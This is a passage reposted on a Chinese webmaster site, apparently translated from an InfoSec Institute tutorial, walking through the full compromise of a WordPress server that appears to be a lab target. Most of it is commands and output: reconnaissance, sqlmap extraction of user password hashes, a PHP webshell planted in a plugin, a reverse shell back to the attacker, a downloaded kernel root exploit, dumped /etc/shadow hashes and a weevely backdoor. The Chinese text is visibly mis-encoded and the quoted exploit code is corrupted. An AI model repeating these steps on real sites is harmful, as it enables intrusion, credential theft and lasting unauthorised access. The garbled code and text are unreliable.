當(dāng)前位置:首頁 >  站長 >  搜索優(yōu)化 >  正文

黑客是怎樣入侵你的網(wǎng)站的

 2015-08-13 20:05  來源: 互聯(lián)網(wǎng)   我來投稿 撤稿糾錯(cuò)

  域名預(yù)訂/競價(jià),好“米”不錯(cuò)過

這個(gè)問題很難回答,簡單的來說,入侵一個(gè)網(wǎng)站可以有很多種方法。本文的目的是展示黑客們常用的掃描和入侵網(wǎng)站的技術(shù)。

假設(shè)你的站點(diǎn)是:hack-test.com

讓我們來ping一下這個(gè)服務(wù)器:

我們得到了一個(gè)IP地址:173.236.138.113 – 這是我們目標(biāo)服務(wù)器的IP地址。

Sameip.org 可以幫助我們找到其他與這個(gè)服務(wù)器綁定的域名:

Same IP

26 sites hosted on IP Address 173.236.138.113

有26個(gè)站點(diǎn)在這臺服務(wù)器上(173.236.138.113)。許多黑客會(huì)選擇攻擊在同服務(wù)器上的不同站點(diǎn)從而入侵到你的網(wǎng)站。但是出于為了學(xué)習(xí)目的,我們只選擇入侵你的服務(wù)器。

我們需要從你的站點(diǎn)得到一下信息:

1.DNS記錄(A,NS,TXT,MX 和SOA)

2.網(wǎng)站服務(wù)器的類型(Apache,IIS,Tomcat)

3.域名的注冊信息(哪個(gè)公司擁有這個(gè)域名)

4.你的名字,地址,EMAIL和電話

5.你的網(wǎng)站上所運(yùn)行的腳本類型(PHP,ASP,ASP.NET,JSP,CFM)

6.服務(wù)器的操作系統(tǒng)類型(Unix,Linux,Windows,Solaris)

7.服務(wù)器對外開放的端口(80,443,21,等)

現(xiàn)在讓我們來尋找網(wǎng)站的DNS記錄。選擇網(wǎng)站“Who.is”來實(shí)現(xiàn)這個(gè)目標(biāo)。

我們發(fā)現(xiàn)站點(diǎn)上的DNS記錄有:

讓我們來檢測一下網(wǎng)站服務(wù)器的類型:

我們可以看到,網(wǎng)站服務(wù)器用的是Apache. 稍后我們會(huì)檢測Apache的版本。

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753

Page Views per Visit: 1 Month: 2.0 3 Month: 3.7

接下來我們來尋找一下域名的注冊信息:

我們得到了注冊者以及其他重要的信息。我們可以用Whatweb來檢測你的站點(diǎn)使用的是什么腳本語言以及操作系統(tǒng)類型和網(wǎng)站服務(wù)器的版本。

我們可以看到,網(wǎng)站使用的是WordPress,操作系統(tǒng)類型是Fedora Linux,網(wǎng)站服務(wù)器版本是Apache 2.2.15,下面我們來檢測一下服務(wù)器上打開的端口:

我們使用Nmap:

1.檢測服務(wù)器上運(yùn)行著哪些服務(wù):

root@bt:/# nmap -sV hack-test.com

Starting Nmap 5.59BETA1 ( ) at 2011-12-28 06:39 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.0013s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd 2.2.15 ((Fedora))

MAC Address: 00:0C:29:01:8A:4D (VMware)

Service detection performed. Please report any incorrect results at .

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2.檢測服務(wù)器的OS

root@bt:/# nmap -O hack-test.com

Starting Nmap 5.59BETA1 ( ) at 2011-12-28 06:40 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.00079s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp closed ssh

80/tcp open http

MAC Address: 00:0C:29:01:8A:4D (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.22 (Fedora Core 6)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at .

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

服務(wù)器只開放了80端口,操作系統(tǒng)是Linux 2.6.22(Fedora Core 6)

現(xiàn)在我們已經(jīng)得到了所有重要的信息,接下來我們來做一下弱點(diǎn)測試,例如:sql注入,盲注,LFI,RFI,XSS,CSRF,等。

我們用Nikto.pl 來獲取信息以及弱點(diǎn):

root@bt:/pentest/web/nikto# perl nikto.pl -h

- Nikto v2.1.4

---------------------------------------------------------------------------

+ Target IP: 192.168.1.2

+ Target Hostname: hack-test.com

+ Target Port: 80

+ Start Time: 2011-12-29 06:50:03

---------------------------------------------------------------------------

+ Server: Apache/2.2.15 (Fedora)

+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b

+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host

+ End Time: 2011-12-29 06:50:37 (34 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

也可以使用W3AF,這個(gè)工具可以在Backtrack 5 R1中找到

root@bt:/pentest/web/w3af# ./w3af_gui

Starting w3af, running on:

Python version:

2.6.5 (r265:79063, Apr 16 2010, 13:57:41)

[GCC 4.4.3]

GTK version: 2.20.1

PyGTK version: 2.17.0

w3af - Web Application Attack and Audit Framework

Version: 1.2

Revision: 4605

Author: Andres Riancho and the w3af team.

我們可以插入U(xiǎn)RL,選擇full audit選項(xiàng):

稍等片刻,結(jié)果就會(huì)出現(xiàn)。

網(wǎng)站存在著sql注入漏洞以及其他的漏洞。

讓我們來深入一下sql注入:

這個(gè)地址就是注入點(diǎn),

我們用sqlmap然后dump所有入侵所需要用到的數(shù)據(jù)庫信息

sqlmap –u url

稍等片刻:

選擇“n”繼續(xù):

網(wǎng)站的sql注入類型是error-based Mysql數(shù)據(jù)庫的版本是5.

加上參數(shù)“-dbs”可以找出所有的數(shù)據(jù)庫:

我們發(fā)現(xiàn)了3個(gè)數(shù)據(jù)庫:

用dump –Dwordpress -tables導(dǎo)出wordpress數(shù)據(jù)庫表

我們需要導(dǎo)出“wp_users”表來得到用戶信息以及密碼的hash,之后我們就可以嘗試著去破解密碼最終登陸到wordpress的后臺。

使用參數(shù) “-T wp_users –columns “

找到了22列的數(shù)據(jù):

使用參數(shù) -C user_login,user_pass –dump 來導(dǎo)出列。

之后我們就得到了賬號密碼。

接來使用這個(gè)網(wǎng)站來把MD5轉(zhuǎn)換成明文密碼(并不是所有HASH都能成功轉(zhuǎn)換)

“;

明文密碼是: q1w2e3

用戶名 “GeorgeMiller”

讓我們來登陸wordpress的后臺:

現(xiàn)在我們來試著上傳一個(gè)php webshell 用來在這臺服務(wù)器上執(zhí)行一些linux命令

編輯wordpress的“Textile”插件

編輯它

插入一個(gè)php webshell來代替一個(gè)真正的插件。之后點(diǎn)擊上傳,php webshell就被成功上傳到服務(wù)器上了。

現(xiàn)在,PHP WEBSHELL就成功運(yùn)行了。現(xiàn)在就可以瀏覽網(wǎng)站里所有的文件了,但是我們想得到服務(wù)器的root權(quán)限然后入侵其他的站點(diǎn)。

選擇 在php webshell 里的“back-connect “然后連接到我們的ip “192.168.1.6″ 端口 “5555″

在我們點(diǎn)擊連接之前,我們先得在本機(jī)上監(jiān)聽一個(gè)“5555”的端口

點(diǎn)擊連接,我們會(huì)得到這樣一個(gè)窗口:

我們來試一下linux的命令

id

uid=48(apache) gid=489(apache) groups=489(apache)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

ID命令用來告訴我們用戶ID和用戶組

Pwd命令能告訴我們現(xiàn)在所在的路徑

uname –a 命令用來得到一些信息以及內(nèi)核版本

好了,我們現(xiàn)在知道服務(wù)器的內(nèi)核版本是2.6.31.5-127.fc12.1686

Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686

我們可以在 exploit-db.com 找到針對這個(gè)版本的exploit

輸入: “kernel 2.6.31 “

以上結(jié)果沒有合適的,因?yàn)樗麄兌疾皇怯脕硖釞?quán)的。下一個(gè),就是它了!

復(fù)制這個(gè)連接

在netcat shell里輸入:

wget -O roro.c

--2011-12-28 00:48:01--

Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: [following]

--2011-12-28 00:48:02--

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 7154 (7.0K) [application/txt]

Saving to: `roro.c'

0K ...... 100% 29.7K=0.2s

我們用wget命令來獲取exploit-db.com的exploit,-O是重命名文件為:roro.c

Note:

Linux內(nèi)核的exploits大多數(shù)都是用c語言開發(fā)的所以我們保存后綴名為.c ,直接瀏覽源文件就可以直接看見源碼:

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include

#include

#include

#include <errno.h>

#include <string.h>

#include

#include

#define RECVPORT 5555

#define SENDPORT 6666

intprep_sock(intport)

{

ints, ret;

structsockaddr_in addr;

s = socket(PF_RDS, SOCK_SEQPACKET, 0);

if(s < 0) {

printf(“[*] Could not open socket.\n”);

exit(-1);

}

www.2cto.com

memset(&addr, 0, sizeof(addr));

All the above lines indicate that this is exploit is written in C language

After we saved our exploit on server, we will compile it to elf format by typing

我們保存exploit在服務(wù)器上之后,我們可以編譯它:

gcc roro.c –o roro

然后執(zhí)行exploit:

./roro

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting function pointer...

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting function pointer...

[*] Triggering payload...

[*] Restoring function pointer...

Id

這時(shí)候我們已經(jīng)是root權(quán)限了。

uid=0(root) gid=0(root)

我們可以瀏覽 /etc/shadow file

cat /etc/shadow

root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14557::::::

avahi-autoipd:!!:14557::::::

ntp:!!:14557::::::

dbus:!!:14557::::::

rtkit:!!:14557::::::

nscd:!!:14557::::::

tcpdump:!!:14557::::::

avahi:!!:14557::::::

haldaemon:!!:14557::::::

openvpn:!!:14557::::::

apache:!!:14557::::::

saslauth:!!:14557::::::

mailnull:!!:14557::::::

smmsp:!!:14557::::::

smolt:!!:14557::::::

sshd:!!:14557::::::

pulse:!!:14557::::::

gdm:!!:14557::::::

p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::

mysql:!!:14981::::::

瀏覽 /etc/passwd file

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin

avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin

nscd:x:28:493:NSCD Daemon:/:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin

haldaemon:x:68:491:HAL daemon:/:/sbin/nologin

openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin

apache:x:48:489:Apache:/var/www:/sbin/nologin

saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin

smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin

sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin

gdm:x:42:481::/var/lib/gdm:/sbin/nologin

p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash

mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash

我們可以用“john the ripper”來破解用戶的密碼,但我們不會(huì)這么做。

黑客需要留一個(gè)后門在服務(wù)器上,方便以后訪問。

這里,我們使用weevely來生成一個(gè)小型有密碼的php后門,然后上傳到服務(wù)器上來達(dá)到目的。

weevely 用法 :

root@bt:/pentest/backdoors/web/weevely# ./main.py -

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website:

Usage: main.py [options]

Options:

-h, --help show this help message and exit

-g, --generate Generate backdoor crypted code, requires -o and -p .

-o OUTPUT, --output=OUTPUT

Output filename for generated backdoor .

-c COMMAND, --command=COMMAND

Execute a single command and exit, requires -u and -p

.

-t, --terminal Start a terminal-like session, requires -u and -p .

-C CLUSTER, --cluster=CLUSTER

Start in cluster mode reading items from the give

file, in the form 'label,url,password' where label is

optional.

-p PASSWORD, --password=PASSWORD

Password of the encrypted backdoor .

-u URL, --url=URL Remote backdoor URL .

創(chuàng)建一個(gè)帶密碼的php后門

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website:

+ Backdoor file 'hax.php' created with password 'koko'.

通過php webshell上傳一個(gè)php后門

上傳完畢之后我們使用一下命令來連接:

root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website:

+ Using method 'system()'.

+ Retrieving terminal basic environment variables .

[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]

測試我們的 hax.php 后門

[via infosecinstitute 譯ppsbb]

SEO專題推薦:

關(guān)鍵詞優(yōu)化專題:網(wǎng)站關(guān)鍵詞優(yōu)化沒效果?來這里學(xué)習(xí)最實(shí)用的關(guān)鍵詞優(yōu)化技巧!

內(nèi)鏈優(yōu)化專題:最能提升網(wǎng)站權(quán)重的內(nèi)鏈部署優(yōu)化技巧與方法

外鏈建設(shè)專題:高質(zhì)量自然外鏈怎么做?讀完這些你將質(zhì)的飛躍

網(wǎng)站降權(quán)專題:2015年最有用的網(wǎng)站降權(quán)、被K、被黑、被攻擊的解決方法

用戶體驗(yàn)專題:學(xué)習(xí)完這些,作為站長的你可以秒懂如何做網(wǎng)站用戶體驗(yàn)

行業(yè)網(wǎng)站專題:優(yōu)化行業(yè)網(wǎng)站的“葵花寶典”看完后無優(yōu)化壓力

申請創(chuàng)業(yè)報(bào)道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!

相關(guān)標(biāo)簽
網(wǎng)站被黑客攻擊怎么辦

相關(guān)文章

熱門排行

信息推薦